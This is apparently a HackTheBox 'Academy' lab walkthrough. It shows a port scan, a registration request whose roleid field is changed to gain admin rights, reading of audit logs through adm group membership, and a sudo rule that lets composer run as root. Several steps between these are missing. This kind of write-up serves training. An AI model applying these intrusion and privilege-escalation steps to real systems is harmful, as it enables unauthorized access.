$ nmap -p- --min-rate 5000 10.129.91.177
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-07 04:44 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 10.11% done; ETC: 04:44 (0:00:00 remaining)
Nmap scan report for academy.htb (10.129.91.177)
Host is up (0.0092s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx
We have to add academy.htb to our /etc/hosts file to visit the HTTP site.
Port 80
This box was created to introduce HTB Academy I think:
There is a Login and Register page. We can try to register a user since we don't have credentials. While intercepting responses, we can see the HTTP request for registering:
POST /register.php HTTP/1.1Host:academy.htbUser-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:en-US,en;q=0.5Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:53Origin:http://academy.htbConnection:closeReferer:http://academy.htb/register.phpCookie:PHPSESSID=tfnp8k5chjjeb6nlg5ge91go9fUpgrade-Insecure-Requests:1uid=test123&password=test123&confirm=test123&roleid=0
There's a roleid parameter which we can change to 1 and see what happens. When logged in, it shows a lot of HTB Academy related content:
This was a PHP site, so I started a gobuster scan to enumerate the possible directories:
We can su to cry0l1t3 with this password and grab the user flag.
Audit Logs
This user was the only user part of the adm group.
cry0l1t3@academy:~$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
This means we have permissions to read logs within the /var/log directory. Within that directory, I used grep to check for words like password and bash, as there might be logs where the user executed commands.
When checking sudo privileges for mrb3n, we find out that composer can be run as root.
mrb3n@academy:/var/log/audit$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
Based on GTFOBins, we can run this to get a root shell: